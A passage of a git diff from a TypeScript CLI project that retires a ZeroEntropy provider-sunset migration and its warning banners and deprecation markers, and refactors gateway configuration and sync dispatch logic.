export const MIGRATE_CONFIG_ENGINE_LOCAL_KEYS: ReadonlySet<string> = new Set([
'engine',
'version',
diff --git a/src/commands/migrations/in-process.ts b/src/commands/migrations/in-process.ts
index 9b9ccbfc30..9c9c66271b 100644
--- a/src/commands/migrations/in-process.ts
+++ b/src/commands/migrations/in-process.ts
@@ -24,6 +24,7 @@
import { execSync } from 'child_process';
import { loadConfig, toEngineConfig } from '../../core/config.ts';
+import { buildGatewayConfig } from '../../core/ai/build-gateway-config.ts';
import { createEngine } from '../../core/engine-factory.ts';
/** Default wall-clock guard for in-process initSchema. Matches the 600s cap
@@ -68,13 +69,7 @@ export async function runMigrateOnlyCore(opts?: { timeoutMs?: number }): Promise
// whose file config is missing embedding fields must not fall through to
// stale hardcoded fallbacks. loadConfig already merged env; propagate it.
const { configureGateway } = await import('../../core/ai/gateway.ts');
- configureGateway({
- embedding_model: config.embedding_model,
- embedding_dimensions: config.embedding_dimensions,
- expansion_model: config.expansion_model,
- chat_model: config.chat_model,
- env: { ...process.env },
- });
+ configureGateway(buildGatewayConfig(config));
const timeoutMs = opts?.timeoutMs ?? MIGRATE_ONLY_TIMEOUT_MS;
const engine = await createEngine(toEngineConfig(config));
diff --git a/src/commands/migrations/v0_46_3.ts b/src/commands/migrations/v0_46_3.ts
index cef9fbeffe..7e4489f637 100644
--- a/src/commands/migrations/v0_46_3.ts
+++ b/src/commands/migrations/v0_46_3.ts
@@ -1,260 +1,14 @@
-/**
- * v0.46.3 migration — ZeroEntropy sunset notice (detect-and-notify ONLY).
- *
- * ZeroEntropy's hosted API shuts down on ZEROENTROPY_SUNSET_DATE (see
- * src/core/ai/defaults.ts). This orchestrator:
- *
- * A. Detects the HOST brain's exposure via src/core/ze-exposure.ts
- * (effective-model resolution — env → file → legacy fallback; plus the
- * resolved reranker and ZE-backed custom columns). Read-only.
- * B. When exposed (or exposure is UNKNOWN — fail-safe): prints the ACTION
- * REQUIRED block and appends one idempotent pending-host-work entry
- * pointing the host agent at skills/migrations/v0.46.3.0.md.
- *
- * It performs NO config writes, NO pinning, and NEVER invokes
- * `migrate embeddings` (the migration costs money and needs a target key the
- * user may not have — that decision belongs to the user/agent via the
- * playbook). The v0.46.3 split-default keeps existing brains fully working
- * until the date; this migration is purely the loud, durable notification.
- *
- * UNKNOWN handling: returns `complete` with detail `exposure_unknown` — NOT
- * `partial`. Three consecutive partials would wedge the whole migration chain
- * behind `--force-retry` (apply-migrations.ts); the stage-2 upgrade banner and
- * `gbrain doctor` carry the ongoing nag instead.
- *
- * Host-scoped: apply-migrations runs once per host (global completed.jsonl).
- * Mounted/team brains are covered by the per-brain stage-2 banner + doctor.
- *
- * NOTE: `apply-migrations --dry-run` exits before invoking orchestrators —
- * the `opts.dryRun` path here is exercised by tests, not by that CLI flag.
- */
-
-import { existsSync, readFileSync, mkdirSync, appendFileSync } from 'fs';
-import { join } from 'path';
-
-import type {
- Migration,
- OrchestratorOpts,
- OrchestratorResult,
- OrchestratorPhaseResult,
-} from './types.ts';
-import { loadConfig, loadConfigFileOnly, toEngineConfig, gbrainPath } from '../../core/config.ts';
-import { ZEROENTROPY_SUNSET_DATE } from '../../core/ai/defaults.ts';
-import { createEngine } from '../../core/engine-factory.ts';
-import type { BrainEngine } from '../../core/engine.ts';
-
-const MIGRATION_VERSION = '0.46.3';
-const PLAYBOOK_SKILL = 'skills/migrations/v0.46.3.0.md';
-
-function pendingHostWorkDir(): string { return gbrainPath('migrations'); }
-function pendingHostWorkPath(): string { return join(pendingHostWorkDir(), 'pending-host-work.jsonl'); }
-
-interface PendingHostWorkEntry {
- migration: string;
- ts: string;
- skill: string;
- reason: string;
-}
-
-function existingEntryForVersion(version: string): boolean {
- const p = pendingHostWorkPath();
- if (!existsSync(p)) return false;
- try {
- const raw = readFileSync(p, 'utf-8');
- for (const line of raw.split('\n')) {
- const trimmed = line.trim();
- if (!trimmed) continue;
- try {
- const obj = JSON.parse(trimmed) as PendingHostWorkEntry;
- if (obj.migration === version) return true;
- } catch { /* skip malformed */ }
- }
- } catch { /* read error */ }
- return false;
-}
-
-function emitHostWork(reason: string): OrchestratorPhaseResult {
- try {
- if (existingEntryForVersion(MIGRATION_VERSION)) {
- return { name: 'host-work', status: 'skipped', detail: 'already recorded' };
- }
- mkdirSync(pendingHostWorkDir(), { recursive: true });
- const entry: PendingHostWorkEntry = {
- migration: MIGRATION_VERSION,
- ts: new Date().toISOString(),
- skill: PLAYBOOK_SKILL,
- reason,
- };
- // Torn-write guard: a prior crashed writer can leave the file without a
- // trailing newline; appending directly would concatenate onto the torn
- // line, producing one unparseable line that existingEntryForVersion skips
- // forever — losing THE deliverable of this migration. Ensure separation.
- let prefix = '';
- if (existsSync(pendingHostWorkPath())) {
- const raw = readFileSync(pendingHostWorkPath(), 'utf-8');
- if (raw.length > 0 && !raw.endsWith('\n')) prefix = '\n';
- }
- appendFileSync(pendingHostWorkPath(), prefix + JSON.stringify(entry) + '\n');
- return { name: 'host-work', status: 'complete', detail: pendingHostWorkPath() };
- } catch (e) {
- return {
- name: 'host-work',
- status: 'failed',
- detail: e instanceof Error ? e.message : String(e),
- };
- }
-}
-
-async function orchestrator(opts: OrchestratorOpts): Promise<OrchestratorResult> {
- const phases: OrchestratorPhaseResult[] = [];
-
- const config = loadConfig();
- const fileCfg = loadConfigFileOnly();
- if (!config && !fileCfg) {
- // No gbrain install on this host — nothing to notify about.
- phases.push({ name: 'detect', status: 'skipped', detail: 'no brain configured' });
- return { version: MIGRATION_VERSION, status: 'complete', phases };
- }
-
- let engine: BrainEngine | null = null;
- let exposure: import('../../core/ze-exposure.ts').ZeExposure | null = null;
- try {
- const { detectZeExposure } = await import('../../core/ze-exposure.ts');
- if (config) {
- try {
- engine = await createEngine(toEngineConfig(config));
- await engine.connect(toEngineConfig(config));
- } catch {
- engine = null; // DB probes will fail → tri-state handles it below.
- }
- }
- if (engine) {
- exposure = await detectZeExposure(engine, fileCfg);
- phases.push({
- name: 'detect',
- status: 'complete',
- detail:
- exposure.status === 'unknown'
- ? `exposure_unknown (failed probes: ${exposure.unknownProbes.join(', ')})`
- : exposure.status,
- });
- } else {
- // Config exists but the brain is unreachable: resolution-based exposure
- // still works from the file plane alone; DB-backed probes are unknown.
- // getConfig THROWS (not null): returning null would fabricate verified
- // claims from a DB we never reached — "no ZE custom columns" and "no
- // reranker override" would read as checked when they weren't. Throwing
- // routes those probes into unknownProbes (honest tri-state).
- const fakeEngine = {
- getConfig: async () => {
- throw new Error('brain unreachable');
- },
- executeRaw: async () => {
- throw new Error('brain unreachable');
- },
- } as unknown as BrainEngine;
- exposure = await detectZeExposure(fakeEngine, fileCfg);
- // Force fail-safe posture: probes could not run.
- if (exposure.status === 'clear') {
- exposure = { ...exposure, status: 'unknown', unknownProbes: ['engine_connect'] };
- }
- phases.push({
- name: 'detect',
- status: 'complete',
- detail: `brain unreachable — ${exposure.status}`,
- });
- }
- } catch (e) {
- phases.push({
- name: 'detect',
- status: 'complete',
- detail: `exposure_unknown (${e instanceof Error ? e.message : String(e)})`,
- });
- exposure = null;
- } finally {
- try { await engine?.disconnect(); } catch { /* best-effort */ }
- }
-
- const status = exposure?.status ?? 'unknown';
- if (status === 'clear') {
- // Unexposed brains complete as a no-op — no nag, no host work.
- return { version: MIGRATION_VERSION, status: 'complete', phases };
- }
-
- // Exposed OR unknown → print the notice + emit host work (fail-safe: when
- // we can't prove the brain is clear, nag rather than stay silent).
- if (exposure) {
- const { renderZeActionRequired } = await import('../../core/ze-exposure.ts');
- const banner = [
- '',
- '='.repeat(74),
- 'ACTION REQUIRED — ZeroEntropy shutdown (v0.46.3 migration notice)',
- '='.repeat(74),
- renderZeActionRequired(exposure),
- '='.repeat(74),
- '',
- ].join('\n');
- // eslint-disable-next-line no-console
- console.error(banner);
- } else {
- // Detection itself crashed (exposure === null): still print a loud,
- // self-contained advisory — the host-work entry alone is silent until an
- // agent reads it, and the whole point of this migration is the notice.
- // eslint-disable-next-line no-console
- console.error(
- [
- '',
- '='.repeat(74),
- 'ACTION REQUIRED — ZeroEntropy shutdown (v0.46.3 migration notice)',
- '='.repeat(74),
- 'Exposure detection failed on this host, so this brain is treated as',
- `affected until proven otherwise. ZeroEntropy stops working on ${ZEROENTROPY_SUNSET_DATE}.`,
- 'Run `gbrain doctor` (provider_sunset) and see the agent playbook:',
- ` ${PLAYBOOK_SKILL}`,
- '='.repeat(74),
- '',
- ].join('\n'),
- );
- }
-
- if (opts.dryRun) {
- phases.push({ name: 'host-work', status: 'skipped', detail: 'dry-run' });
- return { version: MIGRATION_VERSION, status: 'complete', phases };
- }
-
- const hostWork = emitHostWork(
- `ZeroEntropy hosted API sunset — embedding/reranker migration required (status: ${status})`,
- );
- phases.push(hostWork);
-
- // A FAILED host-work write (unwritable ~/.gbrain, full disk) is a different
- // class from `exposure_unknown`: the durable action item — this migration's
- // entire deliverable — was not recorded. Return `partial` so apply-migrations
- // retries on the next run and converges once writable; a persistently
- // unwritable dir earns the loud three-partial WEDGED warning. (`skipped` =
- // already recorded = fine.)
- const failedWrite = hostWork.status === 'failed';
-
- return {
- version: MIGRATION_VERSION,
- status: failedWrite ? 'partial' : 'complete',
- phases,
- pending_host_work: hostWork.status === 'complete' ? 1 : 0,
- };
-}
+import type { Migration } from './types.ts';
export const v0_46_3: Migration = {
- version: MIGRATION_VERSION,
+ version: '0.46.3',
featurePitch: {
- headline:
- 'ZeroEntropy is shutting down 2026-09-04 — brains embedding or reranking with it must switch. New default: Voyage (voyage-4 + rerank-2.5, one key).',
- description:
- 'Nothing changes automatically: existing brains keep working until the shutdown date. ' +
- 'This migration detects whether your brain still resolves to ZeroEntropy (embedding, reranker, or custom columns) ' +
- 'and, if so, records an action item for your agent at skills/migrations/v0.46.3.0.md. ' +
- 'The one-command fix: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then `--yes`. ' +
- 'OpenAI alternative can keep column widths up to 1536 (e.g. a 1280d brain: `--to openai:text-embedding-3-small --dim 1280`); `gbrain doctor` prints this brain\'s exact width-aware command. ' +
- 'Reranker: `gbrain config set search.reranker.model voyage:rerank-2.5`.',
+ headline: 'Embedding provider migration is available with an explicit cost preview.',
+ description: 'Use gbrain migrate embeddings --status to inspect the stored identity and --dry-run to preview an explicit migration. No provider or vectors change automatically.',
},
- orchestrator,
+ orchestrator: async () => ({
+ version: '0.46.3',
+ status: 'complete',
+ phases: [{ name: 'notice', status: 'skipped', detail: 'Historical notification retired; no data or configuration changes.' }],
+ }),
};
diff --git a/src/commands/models.ts b/src/commands/models.ts
index 32de9d6fe4..00bbe00ce0 100644
--- a/src/commands/models.ts
+++ b/src/commands/models.ts
@@ -319,7 +319,6 @@ async function probeEmbeddingConfig(): Promise<ProbeResult> {
const { parseModelId } = await import('../core/ai/model-resolver.ts');
const {
supportsVoyageOutputDimension, isValidVoyageOutputDim, VOYAGE_VALID_OUTPUT_DIMS,
- supportsZeroEntropyDimension, isValidZeroEntropyDim, ZEROENTROPY_VALID_DIMS,
} = await import('../core/ai/dims.ts');
const modelStr = getEmbeddingModel();
@@ -346,26 +345,6 @@ async function probeEmbeddingConfig(): Promise<ProbeResult> {
}
}
- // ZeroEntropy zembed-1 flexible-dim check. Same bug class as Voyage:
- // `embedding_model: zeroentropyai:zembed-1` configured without
- // `embedding_dimensions` falls back to DEFAULT_EMBEDDING_DIMENSIONS=1536
- // (an OpenAI default) which ZE doesn't accept.
- if (providerId === 'zeroentropyai' && supportsZeroEntropyDimension(modelId)) {
- if (!isValidZeroEntropyDim(dims)) {
- return {
- model: modelStr,
- touchpoint: 'embedding_config',
- status: 'config',
- message:
- `embedding_dimensions=${dims} is not a valid ZeroEntropy dimensions ` +
- `for "${modelId}" (allowed: ${ZEROENTROPY_VALID_DIMS.join('/')}).`,
- fix:
- `gbrain config set embedding_dimensions <${ZEROENTROPY_VALID_DIMS.join('|')}>.`,
- elapsed_ms: Date.now() - start,
- };
- }
- }
-
return {
model: modelStr,
touchpoint: 'embedding_config',
@@ -437,25 +416,6 @@ export async function resolveLiveRerankerTimeoutMs(engine: BrainEngine): Promise
}
}
-/**
- * v0.35.0.0+: zero-network reranker config probe. Validates that the
- * configured reranker model resolves through the recipe registry, that the
- * recipe declares a `reranker` touchpoint, and that the model is in the
- * touchpoint's `models[]` allowlist.
- *
- * CDX2-F11: `assertTouchpoint()` does NOT enforce allowlists for
- * openai-compatible recipes — the probe does it directly here. Without
- * this, `search.reranker.model=zeroentropyai:made-up-name` would silently
- * pass config probes and fail at first rerank call.
- *
- * v0.40.6.1: resolves via `resolveLiveRerankerModel(engine)` so probe and
- * live search read the same value (closes the file-plane / DB-plane
- * divergence flagged in plan review).
- *
- * Returns 'ok' when reranker is unconfigured (default state — opt-in
- * feature). Surfaces `status: 'config'` with paste-ready fix hint when
- * model is invalid.
- */
async function probeRerankerConfig(engine: BrainEngine): Promise<ProbeResult> {
const start = Date.now();
const { resolveRecipe } = await import('../core/ai/model-resolver.ts');
diff --git a/src/commands/providers.ts b/src/commands/providers.ts
index cca1e8d2dc..88a5b6dd9d 100644
--- a/src/commands/providers.ts
+++ b/src/commands/providers.ts
@@ -12,7 +12,6 @@ import { probeOllama, probeLMStudio } from '../core/ai/probes.ts';
import { loadConfig } from '../core/config.ts';
import { AIConfigError, AITransientError } from '../core/ai/errors.ts';
import { lookupEmbeddingPrice } from '../core/embedding-pricing.ts';
-import { renderCanonicalMigrationCommands } from '../core/ai/defaults.ts';
import type { Recipe } from '../core/ai/types.ts';
const SCHEMA_VERSION = 1;
@@ -32,21 +31,11 @@ interface ProviderOption {
tier: 'native' | 'openai-compat';
pros: string[];
cons: string[];
- /** v0.46.3: set when the provider's hosted API has an announced shutdown
- * (recipe.sunset) — agent-facing consumers must not steer users here. */
- deprecated?: { date: string; replacement?: string };
+
}
function configureFromEnv(): void {
const config = loadConfig();
- // Route through buildGatewayConfig — the single ownership seam that folds
- // file-plane API keys (openrouter_api_key, zeroentropy_api_key, ...) into
- // the gateway env — instead of hand-assembling AIGatewayConfig field by
- // field. Hand-building it here let this diagnostic report a provider as
- // missing env even when ~/.gbrain/config.json had it and the real gateway
- // path resolved it fine (#2728). Pre-init (no file-plane config yet) falls
- // back to a bare env passthrough so the command still works before
- // `gbrain init`.
if (config) {
configureGateway(buildGatewayConfig(config));
return;
@@ -60,31 +49,6 @@ export function envReady(recipe: Recipe, env: NodeJS.ProcessEnv = process.env):
return required.every(k => !!env[k]);
}
-/**
- * ONE shared sunset-marker primitive for every human-facing providers surface
- * (list status cell, explain table rows, env block header) so the renderings
- * can't drift. `sunsetMarkerText` is the string; `sunsetMarker` is the
- * recipe-shaped convenience (null for recipes without an announced shutdown).
- */
-export function sunsetMarkerText(date: string, replacementEmbedding?: string | null): string {
- return `⚠ DEPRECATED — hosted API ends ${date}` + (replacementEmbedding ? `; use ${replacementEmbedding}` : '');
-}
-
-export function sunsetMarker(recipe: Pick<Recipe, 'sunset'>): string | null {
- if (!recipe.sunset) return null;
- return sunsetMarkerText(recipe.sunset.date, recipe.sunset.replacement?.embedding);
-}
-
-/**
- * Pure formatter for `gbrain providers env <id>` so the output is testable
- * without spawning the CLI (runEnv itself process.exits).
- *
- * Sunset-aware: a provider with an announced shutdown gets the deprecation
- * block + the canonical migration command INSTEAD of the signup funnel
- * (setup_url / setup_hint) — three weeks before a provider dies, "get an API
- * key" is the wrong guidance. Key STATUS still renders above so existing
- * users can see what's configured.
- */
export function formatEnvOutput(recipe: Recipe, env: NodeJS.ProcessEnv = process.env): string {
const lines: string[] = [];
lines.push(`${recipe.name} (${recipe.id})`);
@@ -106,21 +70,6 @@ export function formatEnvOutput(recipe: Recipe, env: NodeJS.ProcessEnv = process
lines.push(` ${k.padEnd(32)} ${env[k] ? '✓ set' : '✗ not set'}`);
}
}
- const marker = sunsetMarker(recipe);
- if (marker) {
- const s = recipe.sunset!;
- lines.push('');
- lines.push(marker);
- if (s.message) lines.push(` ${s.message}`);
- if (s.replacement) {
- const parts: string[] = [];
- if (s.replacement.embedding) parts.push(`${s.replacement.embedding} (embedding)`);
- if (s.replacement.reranker) parts.push(`${s.replacement.reranker} (reranker)`);
- if (parts.length > 0) lines.push(` Replacement: ${parts.join(', ')}`);
- }
- lines.push(` Migrate: ${renderCanonicalMigrationCommands().recommendedDryRun}`);
- return lines.join('\n');
- }
if (recipe.auth_env?.setup_url) {
lines.push('');
lines.push(`Setup: ${recipe.auth_env.setup_url}`);
@@ -157,12 +106,7 @@ export function formatRecipeTable(recipes: Recipe[], env: NodeJS.ProcessEnv = pr
const hasExpand = !!r.touchpoints.expansion;
const hasChat = !!r.touchpoints.chat && r.touchpoints.chat.models.length > 0;
const ready = envReady(r, env);
- // v0.46.3: a sunsetting provider is flagged in the listing regardless of
- // key readiness — "ready" on a dying API is not a state to advertise.
- // Marker text is the shared sunsetMarker so list/explain/env can't drift.
- const status =
- sunsetMarker(r) ??
- (ready ? '✓ ready' : `✗ missing ${r.auth_env?.required?.[0] ?? 'setup'}`);
+ const status = ready ? '✓ ready' : `✗ missing ${r.auth_env?.required?.[0] ?? 'setup'}`;
rows.push(
r.id.padEnd(idCol) +
r.tier.padEnd(18) +
@@ -297,6 +241,7 @@ async function runTest(args: string[]): Promise<void> {
configureGateway({
...baseGatewayConfig,
embedding_model: modelArg,
+ embedding_identity_unverified: false,
embedding_dimensions: dims,
});
} else {
@@ -400,17 +345,7 @@ async function runExplain(args: string[]): Promise<void> {
env_ready: envReady(r) || (r.id === 'ollama' && ollama.models_endpoint_valid === true),
tier: r.tier,
pros: prosFor(r, 'embedding'),
- cons: r.sunset
- ? [...consFor(r), `DEPRECATED — hosted API ends ${r.sunset.date}`]
- : consFor(r),
- ...(r.sunset
- ? {
- deprecated: {
- date: r.sunset.date,
- replacement: r.sunset.replacement?.embedding,
- },
- }
- : {}),
+ cons: consFor(r),
});
}
if (r.touchpoints.expansion) {
@@ -475,14 +410,8 @@ async function runExplain(args: string[]): Promise<void> {
for (const o of options.filter(x => x.touchpoint === 'embedding')) {
const cost = o.cost_per_1m_tokens_usd !== undefined ? `$${o.cost_per_1m_tokens_usd}/1M` : '—';
const dims = o.dims ? `${o.dims}d` : '—';
- // A sunsetting provider must not read as a green-check cheap option in
- // the HUMAN table (the deprecation used to live only in cons/JSON).
- // Rendered via the shared primitive so list/env/explain can't drift, and
- // the lead marker is ⚠ regardless of key readiness — "ready" on a dying
- // API is not a state to advertise (mirrors formatRecipeTable's status).
- const dep = o.deprecated ? ` ${sunsetMarkerText(o.deprecated.date, o.deprecated.replacement)}` : '';
- const lead = o.deprecated ? '⚠' : o.env_ready ? '✓' : '✗';
- console.log(` ${lead} ${o.id.padEnd(44)} ${dims.padEnd(8)} ${cost.padEnd(10)} ${o.tier}${dep}`);
+ const lead = o.env_ready ? '✓' : '✗';
+ console.log(` ${lead} ${o.id.padEnd(44)} ${dims.padEnd(8)} ${cost.padEnd(10)} ${o.tier}`);
}
console.log('');
console.log('Expansion options:');
@@ -536,8 +465,8 @@ function consFor(r: Recipe): string[] {
function pickRecommended(options: ProviderOption[], env: Record<string, boolean>, ollamaReady: boolean): { id: string; reason: string } {
// Embedding recommendation: prefer env-ready providers in canonical order —
// Voyage first (the v0.46.3 new-install default: one key covers embedding +
- // rerank-2.5 + multimodal). Never recommend a sunsetting provider.
- const embOpts = options.filter(o => o.touchpoint === 'embedding' && !o.deprecated);
+
+ const embOpts = options.filter(o => o.touchpoint === 'embedding');
if (env.VOYAGE_API_KEY) {
const voyage = embOpts.find(o => o.id.startsWith('voyage:'));
if (voyage) return { id: voyage.id, reason: 'VOYAGE_API_KEY set — the default: voyage-4 at 1024 dims; the same key powers the rerank-2.5 reranker and the multimodal model.' };
diff --git a/src/commands/sync.ts b/src/commands/sync.ts
index de294dbd42..7eebb1a522 100644
--- a/src/commands/sync.ts
+++ b/src/commands/sync.ts
@@ -1,4 +1,5 @@
import { assertManagedFilesystemWrite } from '../core/persistence/filesystem-guard.ts';
+import { assertSyncDispatchActive, resolveSyncPersistenceMode } from '../core/persistence/sync-authority.ts';
import { formatManagedSyncFailure, readManagedSyncFailures, syncFailureJsonFields, type ManagedSyncFailure } from '../core/persistence/sync-failures.ts';
import { readSourceFileSync, hasSourceFilesystemLock, withSourceFilesystemLock, currentSourceFilesystemSignal, assertSourceFilesystemActive } from '../core/minions/source-filesystem.ts';
import { currentJobSignal } from '../core/minions/submission-authority.ts';
@@ -626,6 +627,7 @@ async function runConnectorSync(engine: BrainEngine, opts: SyncOpts, managed: bo
const sourceId = opts.sourceId ?? 'default';
const [source] = await engine.executeRaw<{ local_path: string | null; config: unknown }>(
'SELECT local_path,config FROM sources WHERE id=$1', [sourceId]);
+ assertSyncDispatchActive();
if (!source) {
if (opts.githubItem) throw new Error(`github_item refresh requires a github-kind source; source "${sourceId}" not found.`);
return null;
@@ -651,27 +653,17 @@ async function runConnectorSync(engine: BrainEngine, opts: SyncOpts, managed: bo
}
export async function performSync(engine: BrainEngine, opts: SyncOpts): Promise<SyncResult> {
- if (opts.sourceId && !currentCompanyBrainSync(opts.sourceId) && await getCompanyBrainProfile(engine, opts.sourceId)) {
- return (await import('../core/company-brain/runtime.ts')).performCompanyBrainSync(engine, opts);
- }
- const [managed] = await engine.executeRaw<{ enabled: boolean }>('SELECT enabled FROM persistence_brain WHERE singleton=1');
- if (managed?.enabled) {
- const connector = await runConnectorSync(engine, opts, true);
- return connector ?? (await import('../core/persistence/sync-run.ts')).performManagedSync(engine, opts);
- }
- assertSourceFilesystemActive(true);
- const jobSignal = currentJobSignal();
- if (jobSignal?.aborted) throw jobSignal.reason ?? new Error('Sync job cancelled');
+ assertSyncDispatchActive();
+ const inheritedSignal = currentSourceFilesystemSignal();
+ if (inheritedSignal) opts = { ...opts, signal: opts.signal ? AbortSignal.any([opts.signal, inheritedSignal]) : inheritedSignal };
+ const managed = await resolveSyncPersistenceMode(engine, opts);
const finish = async (result: SyncResult, refresh = false): Promise<SyncResult> => {
- assertSourceFilesystemActive(true);
- if (jobSignal?.aborted) throw jobSignal.reason ?? new Error('Sync job cancelled');
+ assertSyncDispatchActive();
if (refresh && (result.pagesAffected.length > 0 || result.deleted > 0)) {
await refreshProjectionStatistics(engine);
}
return result;
};
- const inheritedSignal = currentSourceFilesystemSignal();
- if (inheritedSignal) opts = { ...opts, signal: opts.signal ? AbortSignal.any([opts.signal, inheritedSignal]) : inheritedSignal };
const interruptedBeforeWork = async (): Promise<SyncResult> => {
assertSourceFilesystemActive(true);
const lastCommit = opts.full ? null : await readSyncAnchor(engine, opts.sourceId, 'last_commit');
@@ -681,9 +673,18 @@ export async function performSync(engine: BrainEngine, opts: SyncOpts): Promise<
reason: 'timeout',
});
};
- // The delegated runner treats interruption as a resumable partial result,
- // including cancellation before acquisition of the new filesystem lock.
+ const company = !opts.signal?.aborted && opts.sourceId && !currentCompanyBrainSync(opts.sourceId) && await getCompanyBrainProfile(engine, opts.sourceId);
+ assertSyncDispatchActive();
+ if (company) {
+ if (opts.signal?.aborted) return finish(await interruptedBeforeWork());
+ return (await import('../core/company-brain/runtime.ts')).performCompanyBrainSync(engine, opts);
+ }
+ if (managed) {
+ const connector = await runConnectorSync(engine, opts, true);
+ if (connector) return connector;
+ }
if (opts.signal?.aborted) return finish(await interruptedBeforeWork());
+ if (managed) return (await import('../core/persistence/sync-run.ts')).performManagedSync(engine, opts);
const filesystemRoot = opts.repoPath || await readSyncAnchor(engine, opts.sourceId, 'repo_path');
if (filesystemRoot && !hasSourceFilesystemLock(filesystemRoot)) {
let entered = false;
@@ -696,7 +697,7 @@ export async function performSync(engine: BrainEngine, opts: SyncOpts): Promise<
} catch (err) {
if (err instanceof LockStolenError) throw err;
const isCallerAbort = err === opts.signal?.reason || (err instanceof Error && err.name === 'AbortError');
- if (opts.signal?.aborted && isCallerAbort && !jobSignal?.aborted) {
+ if (opts.signal?.aborted && isCallerAbort && !currentJobSignal()?.aborted) {
if (result?.status === 'partial') return finish(result);
if (!entered) return finish(await interruptedBeforeWork());
}
diff --git a/src/commands/upgrade.ts b/src/commands/upgrade.ts
index 841b09527d..1ab3535d8f 100644
--- a/src/commands/upgrade.ts
+++ b/src/commands/upgrade.ts
@@ -1,4 +1,3 @@
-import { isZeroEntropyModel } from '../core/ai/defaults.ts';
import { execSync, execFileSync } from 'child_process';
import { existsSync, readFileSync, writeFileSync, mkdirSync, appendFileSync, realpathSync } from 'fs';
import { basename, join, dirname, resolve } from 'path';
@@ -575,123 +574,6 @@ export async function runPostUpgrade(args: string[] = []): Promise<void> {
// Banner is cosmetic; never block the upgrade.
}
- // #3390: ZeroEntropy sunset notice. ZE announced (2026-07-24) that
- // its hosted endpoints — including /models/embed and /models/rerank —
- // shut down on 2026-09-04. Any brain resolving to a zeroentropyai:*
- // embedding model (including default-config brains that never set
- // one) loses SEMANTIC RETRIEVAL ENTIRELY on that date: the query
- // embedding uses the same endpoint, so existing vectors become
- // unqueryable. One-shot per install, gated by
- // `ze_sunset_notice_shown` (same pattern as the search-mode banner).
- try {
- const shown = await engine.getConfig('ze_sunset_notice_shown');
- const { DEFAULT_EMBEDDING_MODEL, ZEROENTROPY_SUNSET_DATE } = await import('../core/ai/defaults.ts');
- const effectiveModel = cfgSchema.embedding_model ?? DEFAULT_EMBEDDING_MODEL;
- // Effective reranker via the plane search actually reranks with
- // (mode bundle + search.reranker.* overrides) — the bare config
- // key is unset by default while balanced/tokenmax rerank with the
- // bundle's zeroentropyai model. Same resolution as the
- // provider_sunset doctor check.
- let rerankerModel: string | undefined;
- try {
- const { loadSearchModeConfig, resolveSearchMode } = await import('../core/search/mode.ts');
- const knobs = resolveSearchMode(await loadSearchModeConfig(engine));
- if (knobs.reranker_enabled) rerankerModel = knobs.reranker_model;
- } catch { /* no reranker-exposure claim */ }
- const onZeEmbedding = isZeroEntropyModel(effectiveModel);
- const onZeReranker = isZeroEntropyModel(rerankerModel);
- if (shown !== 'true' && (onZeEmbedding || onZeReranker)) {
- // Paste-ready --dim from the ACTUAL column width (config can
- // drift): keeping the current width avoids a needless dimension
- // transition + index rebuild when the target supports it.
- let colDims: number | null = null;
- try {
- const { readContentChunksEmbeddingDim } = await import('../core/embedding-dim-check.ts');
- colDims = (await readContentChunksEmbeddingDim(engine)).dims;
- } catch { /* fresh brain — canonical command carries its own --dim */ }
- const { renderCanonicalMigrationCommands } = await import('../core/ai/defaults.ts');
- const cmds = renderCanonicalMigrationCommands({ colDims });
- console.log('');
- console.log('═══════════════════════════════════════════════════════════════');
- console.log(`[gbrain] ACTION REQUIRED: ZeroEntropy hosted API sunsets ${ZEROENTROPY_SUNSET_DATE}.`);
- if (onZeEmbedding) {
- console.log(`[gbrain] This brain embeds with ${effectiveModel}. After the sunset,`);
- console.log('[gbrain] semantic retrieval STOPS WORKING entirely — your EXISTING');
- console.log('[gbrain] vectors become unqueryable (queries embed through the same');
- console.log('[gbrain] endpoint), not just new content.');
- }
- if (onZeReranker) {
- console.log(`[gbrain] The reranker (${rerankerModel}) also sunsets; search falls`);
- console.log('[gbrain] back to unreranked ordering.');
- }
- console.log('═══════════════════════════════════════════════════════════════');
- console.log('');
- console.log('Two fixes, either works:');
- console.log('');
- console.log('[1] Self-host the same model — zembed-1 weights are Apache-2.0. Keep the');
- console.log(' zeroentropyai:zembed-1 id and point provider_base_urls.zeroentropyai');
- console.log(' at a ZE-wire-compatible endpoint (NOT a generic OpenAI-compatible');
- console.log(' server — the id speaks ZE\'s /models/embed dialect). Keeps every');
- console.log(' vector; NO re-embed. See docs/guides/embedding-migration.md.');
- console.log('');
- console.log('[2] Migrate to another provider (resumable; preview cost first):');
- console.log(` ${cmds.recommendedDryRun}`);
- console.log(` ${cmds.recommended}`);
- if (cmds.note) console.log(` ${cmds.note}`);
- if (cmds.openaiAlternative) {
- console.log(` Keep-width alternative: ${cmds.openaiAlternative}`);
- }
- if (onZeReranker) {
- console.log('');
- console.log('Reranker: gbrain config set search.reranker.enabled false (or pick another).');
- }
- console.log('');
- console.log(`\`gbrain doctor\` will keep flagging this until the brain is off the`);
- console.log('provider (check name: provider_sunset).');
- console.log('');
- await engine.setConfig('ze_sunset_notice_shown', 'true');
- }
- } catch {
- // Banner is cosmetic; never block the upgrade.
- }
-
- // v0.46.3: stage-2 sunset notice, gated by `ze_sunset_notice_v2_shown`.
- // Fires even for brains that saw stage 1 — this release ships the
- // migration playbook + the Voyage default, and the exposure story
- // widened (custom columns, env overrides, reranker-without-key).
- // The gate opens on `exposed` and on `unknown` (fail-safe: nag rather
- // than stay silent). Reranker-only exposure is COVERED by `exposed`:
- // detectZeExposure sets status='exposed' whenever the resolved
- // reranker is ZE (including the legacy bundle default), so an
- // OpenAI/Voyage-embedding brain whose reranking rides the ZE bundle
- // still opens the gate, and renderZeActionRequired includes the
- // reranker paragraph.
- try {
- const shownV2 = await engine.getConfig('ze_sunset_notice_v2_shown');
- if (shownV2 !== 'true') {
- const { detectZeExposure, renderZeActionRequired } =
- await import('../core/ze-exposure.ts');
- const exposure = await detectZeExposure(engine);
- if (exposure.status === 'exposed' || exposure.status === 'unknown') {
- console.log('');
- console.log('═══════════════════════════════════════════════════════════════');
- console.log('[gbrain] ACTION REQUIRED — ZeroEntropy shutdown (v0.46.3 notice)');
- console.log('═══════════════════════════════════════════════════════════════');
- for (const line of renderZeActionRequired(exposure).split('\n')) {
- console.log(`[gbrain] ${line}`);
- }
- console.log('[AGENT] Relay this to your operator: this brain needs an embedding/');
- console.log('[AGENT] reranker migration before the shutdown date. Playbook:');
- console.log('[AGENT] skills/migrations/v0.46.3.0.md');
- console.log('═══════════════════════════════════════════════════════════════');
- console.log('');
